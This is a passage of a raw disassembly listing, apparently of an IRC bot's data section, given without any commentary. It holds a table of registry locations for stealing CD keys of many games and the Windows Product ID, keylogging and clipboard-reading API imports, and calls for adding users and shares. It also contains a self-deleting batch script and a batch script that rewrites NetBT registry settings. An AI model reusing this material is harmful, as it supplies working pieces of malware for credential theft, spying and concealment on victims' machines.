aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0
unk_427DEC db 2 ; DATA XREF: sub_40820F+18Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0
dword_427E3C dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h
; DATA XREF: sub_40820F+F2o
dd 206C1F64h, 0BB022029h, 202002BBh, 68747541h, 69746E65h
dd 69746163h, 66206E6Fh, 656C6961h, 52202E64h, 746F6D65h
dd 73752065h, 64697265h, 7325203Ah, 203D2120h, 2E7325h
dd 0
dd 80000001h
off_427E94 dd offset aSoftwareValveC ; DATA XREF: sub_4085D3+Cr
; sub_4085D3+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_427EA0 dd 2 dup(0) ; DATA XREF: sub_4085D3+26o
dd 80000001h, 429028h, 42901Ch, 42900Ch, 2 dup(0)
dd 80000001h, 428FECh, 428FE8h, 428FD4h, 2 dup(0)
dd 80000001h, 428FB0h, 428FE8h, 428FA4h, 2 dup(0)
dd 80000001h, 428F80h, 428F78h, 428F64h, 2 dup(0)
dd 80000001h, 428F50h, 428F40h, 428F24h, 2 dup(0)
dd 80000001h, 428EE0h, 429068h, 428ECCh, 2 dup(0)
dd 80000002h, 428EA0h, 428E94h, 428E74h, 2 dup(0)
dd 80000002h, 428E40h, 429068h, 428E28h, 2 dup(0)
dd 80000002h, 428DF4h, 429068h, 428DDCh, 2 dup(0)
dd 80000002h, 428DC4h, 429068h, 428DACh, 2 dup(0)
dd 80000002h, 428D70h, 438FBCh, 428D60h, 2 dup(0)
dd 80000002h, 428D28h, 438FBCh, 428D14h, 2 dup(0)
dd 80000002h, 428CC8h, 438FBCh, 428CA8h, 2 dup(0)
dd 80000002h, 428C58h, 438FBCh, 428C2Ch, 2 dup(0)
dd 80000002h, 428BF0h, 438FBCh, 428BDCh, 2 dup(0)
dd 80000002h, 428BA4h, 438FBCh, 428B94h, 2 dup(0)
dd 80000002h, 428B44h, 438FBCh, 428B18h, 2 dup(0)
dd 80000002h, 428AD8h, 438FBCh, 428ABCh, 2 dup(0)
dd 80000002h, 428A8Ch, 438FBCh, 428A6Ch, 2 dup(0)
dd 80000002h, 428A30h, 438FBCh, 428A1Ch, 2 dup(0)
dd 80000002h, 4289D4h, 438FBCh, 4289B4h, 2 dup(0)
dd 80000002h, 428960h, 438FBCh, 428930h, 2 dup(0)
dd 80000002h, 4288E0h, 438FBCh, 4288B4h, 2 dup(0)
dd 80000002h, 428874h, 42886Ch, 42884Ch, 2 dup(0)
dd 80000002h, 428808h, 438FBCh, 4287ECh, 2 dup(0)
dd 80000002h, 4287A0h, 438FBCh, 42877Ch, 2 dup(0)
dd 80000002h, 428748h, 438FBCh, 42873Ch, 2 dup(0)
dd 80000002h, 428708h, 438FBCh, 4286FCh, 2 dup(0)
dd 80000002h, 4286C8h, 438FBCh, 4286BCh, 2 dup(0)
dd 80000002h, 428688h, 438FBCh, 42867Ch, 2 dup(0)
dd 80000002h, 428640h, 438FBCh, 42862Ch, 2 dup(0)
dd 80000002h, 4285F0h, 438FBCh, 4285DCh, 2 dup(0)
dd 80000002h, 4285ACh, 429068h, 428590h, 2 dup(0)
dd 80000002h, 428570h, 428568h, 428544h, 2 dup(0)
dd 80000002h, 428528h, 428568h, 428508h, 2 dup(0)
dd 80000002h, 4284E8h, 428568h, 4284C4h, 2 dup(0)
dd 80000002h, 4284ACh, 428568h, 4284A8h, 2 dup(0)
dd 80000002h, 42848Ch, 42847Ch, 428474h, 2 dup(0)
dd 80000002h, 428440h, 42843Ch, 428424h, 2 dup(0)
dd 80000002h, 4283E8h, 4283DCh, 4283B4h, 4283A4h, 428390h
dd 80000002h, 42836Ch, 428360h, 42834Ch, 42833Ch, 428334h
dd 80000002h, 42836Ch, 428360h, 428308h, 42833Ch, 428300h
dd 80000002h, 42836Ch, 428360h, 4282D0h, 42833Ch, 4282C8h
dd 6 dup(0)
dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
dd 64726564h, 296B7261h, 0
dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h
dd 696E692Eh, 0
aNeverwinterNig db 'Neverwinter Nights',0
align 10h
aLocation db 'Location',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 10h
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aBaseMpSof2key db 'base\mp\sof2key',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
db 53h
aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
align 4
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 4
aKey db 'key',0
db 53h
aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
align 4
aChrome db 'Chrome',0
align 4
aSerialnumber db 'SerialNumber',0
align 4
db 53h
aOftwareTechlan db 'oftware\Techland\Chrome',0
align 4
aNox db 'NOX',0
aSoftwareWestwo db 'Software\Westwood\NOX',0
align 4
aCommandAndConq db 'Command and Conquer: Red Alert 2',0
align 4
db 53h
aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0
align 4
aCommandAndCo_0 db 'Command and Conquer: Red Alert',0
align 4
db 53h
aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 4
aSerial db 'Serial',0
align 10h
db 53h
aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0
align 10h
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
db 53h
aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
align 4
aNascarRacing20 db 'Nascar Racing 2003',0
align 10h
db 53h
aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 4
aNascarRacing_0 db 'Nascar Racing 2002',0
align 10h
db 53h
aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
aNhl2003 db 'NHL 2003',0
align 4
db 53h
aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
aNhl2002 db 'NHL 2002',0
align 4
db 53h
aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 4
aFifa2003 db 'FIFA 2003',0
align 4
db 53h
aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
aFifa2002 db 'FIFA 2002',0
align 4
db 53h
aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 4
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 10h
db 53h
aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
db 'on\ergc',0
align 4
aNeedForSpeedUn db 'Need For Speed: Underground',0
db 53h
aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
align 4
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 4
aErgc db 'ergc',0
align 4
db 53h
aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 4
aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0
align 10h
db 53h
aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
db 'earhead\ergc',0
align 10h
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 10h
db 53h
aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
db 'eakthrough\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0
align 4
db 53h
aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
db 'gc',0
align 4
aGlobalOperatio db 'Global Operations',0
align 10h
db 53h
aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 4
aCommandAndCo_2 db 'Command and Conquer: Generals',0
align 4
db 53h
aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 4
db 53h
aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0
align 4
db 53h
aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
db 'o Hour\ergc',0
align 4
aBlackAndWhite db 'Black and White',0
db 53h
aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
aBattlefieldVie db 'Battlefield Vietnam',0
db 53h
aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 4
db 53h
aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
db 'of WWII\ergc',0
align 4
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
db 53h
aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
db 'e\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942',0
align 4
db 53h
aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce db 'Freedom Force',0
align 10h
db 53h
aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 4
db 53h
aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0
align 4
aUnrealTourname db 'Unreal Tournament 2004',0
align 4
db 53h
aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0
align 4
aUnrealTourna_0 db 'Unreal Tournament 2003',0
align 10h
db 53h
aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0
align 4
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 4
aProductid db 'ProductId',0
align 10h
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0
align 4
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 10h
aCustomernumber db 'CustomerNumber',0
align 10h
aSoftware3d0Sta db 'Software\3d0\Status',0
aIndustryGiant2 db 'Industry Giant 2',0
align 4
aPrvkey db 'prvkey',0
align 10h
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aHalfLife db 'Half-Life',0
align 10h
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 4
aGunmanChronicl db 'Gunman Chronicles',0
align 4
aKey_0 db 'Key',0
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 4
aTheGladiators db 'The Gladiators',0
align 4
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 10h
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .nsp0:00427E9Co
aCdkey db 'CDKey',0 ; DATA XREF: .nsp0:00427E98o
align 10h
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .nsp0:off_427E94o
align 4
asc_429098: ; DATA XREF: sub_4085D3+E9o
; sub_4085D3+F4o
unicode 0, <=>,0
aR: ; DATA XREF: sub_4085D3+8Fo
; sub_40CE55:loc_4112ADo
unicode 0, <r>,0
aSS_3 db '%s\%s',0 ; DATA XREF: sub_4085D3+7Eo
; sub_4088A0+45o ...
align 4
aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_4085D3+2Bo
align 4
unk_4290BC db 2 ; DATA XREF: sub_408788+C5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFilesFoundD_ db ' Files found: %d.',0
unk_4290F0 db 2 ; DATA XREF: sub_408788+5Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingForFi db ' Searching for file: %s.',0
align 4
aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_4088A0+107o
align 4
aS_3 db '%s\*',0 ; DATA XREF: sub_4088A0+1Ao
align 4
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4089F2+C50o
align 10h
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4089F2+C48o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_4089F2:loc_40962Do
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4089F2+BE6o
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4089F2+BD9o
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4089F2+BCCo
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4089F2+BBFo
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4089F2+BB2o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4089F2+BAAo
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4089F2:loc_40958Fo
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4089F2+B68o
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4089F2+B60o
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4089F2:loc_409545o
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4089F2+B0Eo
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4089F2+B01o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4089F2+AF4o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4089F2+AECo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4089F2:loc_4094D1o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4089F2+AAAo
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4089F2+AA2o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4089F2:loc_409487o
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4089F2+A60o
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4089F2+A58o
align 10h
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4089F2:loc_40943Do
align 4
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4089F2+9CEo
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4089F2+9C1o
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4089F2+9B4o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4089F2+9A7o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4089F2+99Ao
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4089F2+98Do
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4089F2+980o
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4089F2+973o
align 10h
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4089F2+966o
align 10h
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4089F2+959o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4089F2+951o
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4089F2:loc_409332o
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4089F2+903o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4089F2+8F6o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4089F2+8EEo
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4089F2:loc_4092D3o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4089F2+8B4o
align 10h
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4089F2+842o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4089F2+835o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4089F2+828o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4089F2+81Bo
align 10h
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4089F2+80Eo
align 10h
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4089F2+801o
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4089F2+7F4o
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4089F2+7E7o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4089F2+7DAo
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4089F2+7D2o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4089F2:loc_4091B3o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_4089F2+688o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_4089F2+67Bo
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4089F2+66Eo
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4089F2+661o
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_4089F2+654o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_4089F2+647o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4089F2+63Ao
align 4
aAccept db 'accept',0 ; DATA XREF: sub_4089F2+62Do
; .nsp0:0042C5DCo
align 4
aListen db 'listen',0 ; DATA XREF: sub_4089F2+620o
align 4
aSelect db 'select',0 ; DATA XREF: sub_4089F2+613o
align 4
aBind db 'bind',0 ; DATA XREF: sub_4089F2+60Bo
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4089F2+5F9o
align 4
aRecv db 'recv',0 ; DATA XREF: sub_4089F2+5ECo
align 10h
aSendto db 'sendto',0 ; DATA XREF: sub_4089F2+5DFo
align 4
aSend db 'send',0 ; DATA XREF: sub_4089F2+5D2o
; sub_40CE55+20D7o
align 10h
aNtohl db 'ntohl',0 ; DATA XREF: sub_4089F2+5C5o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_4089F2+5B8o
align 10h
aHtonl db 'htonl',0 ; DATA XREF: sub_4089F2+5ABo
align 4
aHtons db 'htons',0 ; DATA XREF: sub_4089F2+59Eo
align 10h
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4089F2+591o
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4089F2+584o
align 4
aConnect db 'connect',0 ; DATA XREF: sub_4089F2+577o
; .nsp0:0042C9ECo
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4089F2+56Ao
aSocket db 'socket',0 ; DATA XREF: sub_4089F2+55Do
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4089F2+550o
align 10h
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4089F2+543o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4089F2+536o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4089F2+529o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4089F2+51Co
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4089F2+50Fo
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4089F2+507o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4089F2+4F6o
align 10h
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4089F2+483o
align 10h
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4089F2+476o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_4089F2+469o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4089F2+45Co
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4089F2+44Fo
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4089F2+442o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4089F2+435o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4089F2+428o
align 10h
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4089F2+420o
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4089F2:loc_408E01o
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4089F2:loc_408DD9o
align 4
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4089F2+38Fo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4089F2+382o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4089F2+375o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4089F2+368o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_4089F2+35Bo
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4089F2+34Eo
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4089F2+341o
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4089F2:loc_408D2Bo
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4089F2+309o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4089F2+2FCo
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4089F2:loc_408CE6o
align 10h
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4089F2+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4089F2+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4089F2+292o
align 10h
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4089F2+285o
align 10h
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4089F2+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4089F2+270o
align 10h
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4089F2:loc_408C51o
align 10h
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_4089F2+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_4089F2+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_4089F2+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_4089F2:loc_408BEAo
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4089F2+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4089F2+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4089F2+186o
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4089F2+179o
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4089F2+16Co
align 4
aIswindow db 'IsWindow',0 ; DATA XREF: sub_4089F2+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4089F2+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4089F2+14Ao
align 10h
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4089F2:loc_408B27o
; sub_41E6EE+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4089F2:loc_408AFAo
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4089F2+A0o
align 10h
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4089F2+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4089F2+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4089F2+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4089F2+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4089F2+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_4089F2+52o
align 10h
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4089F2+45o
align 10h
aProcess32first db 'Process32First',0 ; DATA XREF: sub_4089F2+38o
align 10h
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4089F2+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4089F2+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4089F2+Ao
align 4
dword_429A0C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40967F+2F2o
dd 2029206Ch, 2BBBB02h
aDllTestComplet db ' DLL test complete.',0
align 10h
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+2CCo
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+264o
align 10h
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40967F+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40967F+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40967F+160o
align 10h
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40967F+12Co
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+C4o
align 4
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+28o
align 4
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_409C08+72o
align 10h
aMirc db 'mIRC',0 ; DATA XREF: sub_409CCD+5o
; sub_414390+18o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_409D4F+1Co
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_409DF3+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_409E15+140o
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_409E15+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_409E15+48o
align 4
aCA1c_bat db 'c:\a1c.bat',0 ; DATA XREF: sub_409F9D+29o
align 10h
a@echoOffEchoRe db '@echo off',0Dh,0Ah ; DATA XREF: sub_409F9D+14o
db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
